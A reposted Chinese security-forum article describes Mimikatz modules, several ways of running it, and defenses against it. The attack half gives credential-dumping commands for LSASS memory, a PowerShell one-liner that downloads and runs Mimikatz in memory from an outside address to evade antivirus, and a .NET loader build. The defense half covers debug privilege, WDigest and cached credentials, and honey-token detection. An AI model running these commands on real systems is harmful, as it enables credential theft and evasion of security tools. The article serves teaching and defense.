[转帖][思路/技术]Mimikatz的多种攻击方式以及防御方式

[思路/技术]Mimikatz的多种攻击方式以及防御方式

https://bbs.ichunqiu.com/thread-53954-1-1.html

之前学习过 抄密码 没想到还有这么多功能. 

挖低危的清风i春秋作家

发表于 7 天前01372

本帖最后由 春风得意水先知 于 2019-9-25 23:50 编辑

Mimikatz的多种攻击方式以及防御方式

Mimikatz的简介:

    Mimikatz为法国人Benjamin Delpy编写的一款轻量级的调试工具,在内网渗透过程中,它多数时候是作为一款抓取用户口令的工具。然而Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌。

Mimikatz功能介绍:

CRYPTO::Certificates  – 列出/导出凭证。  
KERBEROS::Golden – 创建黄金票证/白银票证/信任票证。  
KERBEROS::List – 列出在用户的内存中所有用户的票证(TGT 和 TGS)。  
KERBEROS::PTT – 票证传递。  
LSADUMP::DCSync – 向 DC 发起同步一个对象(获取帐户的密码数据)的质询。  
LSADUMP::LSA – 向 LSA Server 质询检索 SAM/AD 的数据(正常或未打补丁的情况下)。可以从 DC 或者是一个lsass.dmp的转储文件中  
导出所有的Active Directory 域凭证数据。同样也可以获取指定帐户的凭证,如 krbtgt 帐户,使用 /name 参数,如:“/name:krbtgt”。
LSADUMP::SAM - 获取 SysKey 来解密 SAM 的项目数据(从注册表或者 hive 中导出)SAM 选项。可以连接到本地安全帐户管理器(SAM)  
数据库中并能转储本地帐户的凭证。可以用来转储在 Windows 计算机上的所有的本地凭据。  
LSADUMP::Trust - 向 LSA Server 质询来获取信任的认证信息(正常或未打补丁的情况下)为所有相关的受信的域或林转储信任密钥(密码)
MISC::AddSid – 将用户帐户添加到 SID 历史记录。第一个值是目标帐户,第二值是帐户/组名(可以是多个或 SID )。  
MISC::MemSSP – 注入恶意的 Wndows SSP 来记录本地身份验证凭据。  
MISC::Skeleton – 在 DC 中注入万能钥匙(Skeleton Key) 到 LSASS 进程中。这使得所有用户所。  
使用的万能钥匙修补 DC 使用 “主密码” (又名万能钥匙)以及他们自己通常使用的密码进行身份验证。  
PRIVILEGE::Debug – 获得 Debug 权限(很多 Mimikatz 命令需要 Debug 权限或本地 SYSTEM 权限)。  
SEKURLSA::Ekeys – 列出 Kerberos 密钥  
SEKURLSA::Kerberos – 列出所有已通过认证的用户的 Kerberos 凭证(包括服务帐户和计算机帐户)。  
SEKURLSA::Krbtgt – 获取域中 Kerberos 服务帐户(KRBTGT)的密码数据。  
SEKURLSA::LogonPasswords – 列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的计算机的凭证。  
SEKURLSA::Pth – Hash 传递 和 Key 传递(注:Over-Pass-the-Hash 的实际过程就是传递了相关的 Key(s))。  
SEKURLSA::Tickets – 列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运行的服务和本地计算机  
在AD 中的计算机帐户。与 kerberos::list 不同的是 sekurlsa 使用内存读取的方式,它不会受到密钥导出的限制。  
TOKEN::List – 列出系统中的所有令牌。  
TOKEN::Elevate – 假冒令牌。用于提升权限至 SYSTEM 权限(默认情况下)或者是发现计算机中的域管理员的令牌。  
TOKEN::Elevate /domainadmin – 假冒一个拥有域管理员凭证的令牌。  

Mimikatz的多种利用方式

一般的执行方式

privilege::debug - 提升权限(注:需以管理员权限运行)

sekurlsa::logonpasswords - 获取内存中保存的登录信息(注:当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码
可以通过修改注册表的方式进行抓取,但是需要目标机重启后,重新登录的时候才能进行抓取。)

使用powershell运行Mimikatz

powershell -exec bypass "import-module ./Invoke-Cats.ps1;Invoke-Cats -pwds" (直接使用ps1脚本执行,
此方法和上面执行EXE文件一样,如果没做特殊处理,很容易被杀软杀掉。)

powershell.exe "IEX (New-Object Net.WebClient).DownloadString(‘http://1.1.1.1/Invoke-Cats.ps1‘);Invoke-Cats -pwds"
(该方法利用powershell将mimikatz直接加载到内存中执行,可以达到文件不落地,过部分杀软的效果。)

使用cscript运行Mimikatz

cscript katz.js (‘注:该JS版Mimikatz已被各大杀软标记极易被杀,但是JS版过杀软也很简单,简单混淆之后便可实现免杀,此次演示中的该脚本已过杀软‘)

使用.NET 2.0 执行Mimikatz

在powershell中执行
$key = ‘BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0l
LEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9
TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQp
J+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHG
GRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcac
yYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypw
mFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=‘
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:regsvcs.dll /keyfile:key.snk
/unsafe katz.cs
regsvcs.exe regsvcs.dll


使用.NET 4.0 执行Mimikatz

MSBuild katz.xml

使用wmic执行xsl版Mimikatz

lsass内存转储

在任务管理中找到lsass.exe,将其转储出来。使用mimikatz离线导出信息。

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

使用procdump导出lsass内存(mysqldump也可以实现该功能)

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

Mimikatz的防御措施

禁止Debug Privilege

Debug Privilege 允许以特权用户启动的程序去调试本地系统运行的服务。如下图默认为Administrator

通过将 Debug Privilege 置空并重启服务器使其生效,再次使用 Mimikatz 的时候就会发现无法利用了。

WDigest

WDigest 是windows在XP系统中应用的,其作用主要是与超文本传输协议(HTTP)和简单的身份验证安全层(SASL)一起交换使用。而Digest与NTLM协议类似,也是挑战认证协议。
简单说就是:
1.客户端向服务端发起认证请求。
2.服务端返回一个随机值、客户端利用内存中的密码与客户端名,域名等信息计算一个值并发送至服务端。
3.服务端也利用相同方式计算一个值如果与客户端相同则认证成功。
在win 7 和 2008 r2 之前都是默认开启Wdigest且无法禁用,需要额外安装KB 2871997补丁(但是WIN7以及08以后的系统中微软都默认禁止了Wdigest协议)。
如下图所示(该系统为2008),在注册表WDigest中并没有 (UseLogonCredential)所以可以成功抓取到明文密码。

当安装完 KB 2871997 补丁后,需要使用以下命令
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0
来修改注册表。修改完毕后重新运行mimikatz就已经无法抓取明文密码了。

Domain Cached Credentials

Domain Cached Credentials 简称 DDC,也叫 mscache。有两个版本,XP/2003 年代的叫第一代,Vasta/2008 之后的是第二代。
计算机在加入域之后就得通过 kerberos 进行认证,通过 kerberos 认证就得有域控的参与,但是如果域成员暂时无法访问到域控的话,岂不是无法认证了?域凭证缓存就是为了解决这个问题的。如果暂时访问不到域控,windows 就尝试使用本机缓存的凭证进行认证,默认缓存十条。(引用:Mimikatz 攻防杂谈)
所以如果我们去修改默认缓存次数为0次,可能在一定程度上预防Mimikatz的攻击。

利用伪造的域用户检测Mimikatz攻击

利用工具将虚假的域账户写入到域内服务器的内存中,当此类服务器受到mimikatz的攻击时,
攻击者将会获取到我们投递的虚假账户信息,一但攻击者利用这些信息去登录域内机器的时候,我们便可以再IDS等监控设备上捕获到攻击。

总结

    Mimikatz的攻击手法多样,变种繁多,要完全防御Mimikatz也是比较困难的。但是如果我们通过多种方式结合使用,还是能对Mimikatz起到一定的防御效果。
    如果运维人员能够及时更新服务器操作系统,及时安装补丁,避免赋予账户过多管理权限,将重要账户加入保护组,域账户登录过的服务器一定要进行注销等操作,又或者投递虚假账户并进行监控等操作。这些在一定程度上还是能够有效的进行防御。

致谢

本文中很多利用方式及防御手段参考了以下文章。在这里感谢这些前辈的优秀文章。
https://www.freebuf.com/articles/web/176796.html
https://mp.weixin.qq.com/s/BrQo_UnyStgAn-XyUBsamQ
https://github.com/SMAPPER/MimikatzHoneyToken/wiki/Customizing-MimikatzHoneyToken

原文地址:https://www.cnblogs.com/jinanxiaolaohu/p/11616964.html

时间: 2024-08-28 13:09:35

[转帖][思路/技术]Mimikatz的多种攻击方式以及防御方式的相关文章

总结几种常见web攻击手段及其防御方式

本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 DDOS web安全系列目录 总结几种常见web攻击手段极其防御方式 总结几种常见的安全算法 XSS 概念 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序. 案列 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open("www.gongji.com?param="

总结几种常见web攻击手段极其防御方式

本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 总结几种常见web攻击手段极其防御方式 XSS 概念 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序. 案列 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open("www.gongji.com?param="+document.cookie)</scrip

DDoS攻击、CC攻击的攻击方式和防御方法

DDoS介绍 DDoS是英文Distributed Denial of Service的缩写,意即"分布式拒绝服务",那么什么又是拒绝服务(Denial of Service)呢?可以这么理解,凡是能导致合法用户不能够访问正常网络服务的行为都算是拒绝服务攻击.也就是说拒绝服务攻击的目的非常明确,就是要阻止合法用户对正常网络资源的访问,从而达成攻击者不可告人的目的.分布式拒绝服务攻击一旦被实施,攻击网络包就会从很多DOS攻击源(俗称肉鸡)犹如洪水般涌向受害主机,从而把合法用户的网络包淹没

JavaScript---网络编程(9-1)--DHTML技术演示(2-1)-表格创建的几种方式

一:用最底层的方式,该方式用来创建别的对象树也可以 代码演示: <html> <head> <title>DHTML技术演示---表格创建--用最底层的方式,其实该方式用来创建别的对象树也可以</title> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <style type="text/css&qu

恒天云技术分享系列4 – OpenStack网络攻击与防御

恒天云技术分享系列:http://www.hengtianyun.com/download-show-id-13.html 云主机的网络结构本质上和传统的网络结构一致,区别大概有两点. 1.软网络管理设备(如nova-network,open switch)部分替代硬件网络设备 . 2.多虚拟服务器共享一个宿主机物理网卡(使用Trunk技术). 那么对于云服务器的安全,我们也可以采用传统的网络安全技术去防御.对于云主机,我们同时也需要做好宿主机的防火墙配置,以及安全设置. 1.对于虚拟机进行虚拟

界面操作劫持攻击原理与防御方法

1. 攻击原理 界面劫持,分为点击劫持.拖放劫持.触屏劫持.就是我们的点击,拖放,触屏操作被劫持了,而去操作了其它的透明隐藏的界面.其原理是利用透明层+iframe,使用了css中的opacity和z-index等属性,来到达透明和位于其它界面的上方,然后使用iframe来嵌入劫持页面.到达了用户操作的不是它看到的,不是他以为的那个界面,而是那个透明的位于上层的界面. 2. 防御方法 有重要会话的交互页面不允许使用iframe嵌入,或者值允许被同域的iframe嵌入. 2.1 X-Frame-O

DOM-XSS攻击原理与防御

XSS的中文名称叫跨站脚本,是WEB漏洞中比较常见的一种,特点就是可以将恶意HTML/JavaScript代码注入到受害用户浏览的网页上,从而达到劫持用户会话的目的.XSS根据恶意脚本的传递方式可以分为3种,分别为反射型.存储型.DOM型,前面两种恶意脚本都会经过服务器端然后返回给客户端,相对DOM型来说比较好检测与防御,而DOM型不用将恶意脚本传输到服务器在返回客户端,这就是DOM型和反射.存储型的区别,所以我这里就单独的谈一下DOM型XSS. DOM文档 为了更好的理解DOM型XSS,先了解

CSRF 攻击原理和防御方法

1. CSRF攻击原理 CSRF(Cross site request forgery),即跨站请求伪造.我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息.而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”. 一般而且存在XSS漏洞的网站,也极有可能存在CSRF漏洞.因为CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的.所以其实CSRF是以XSS为基础

xss原理、攻击方式与防御

xss原理: xss叫跨站脚本攻击,是Web程序中常见的漏洞只用于客户端的攻击方式,其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.如,盗取用户Cookie.破坏页面结构.重定向到其它网站等.所以做网站的时候要明白一个道理:用户的输入是不可信的,所有可输入的地方都要进行数据进行处理才能杜绝xss攻击: xss攻击的二种方式: 1.反射型:一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人.通常为通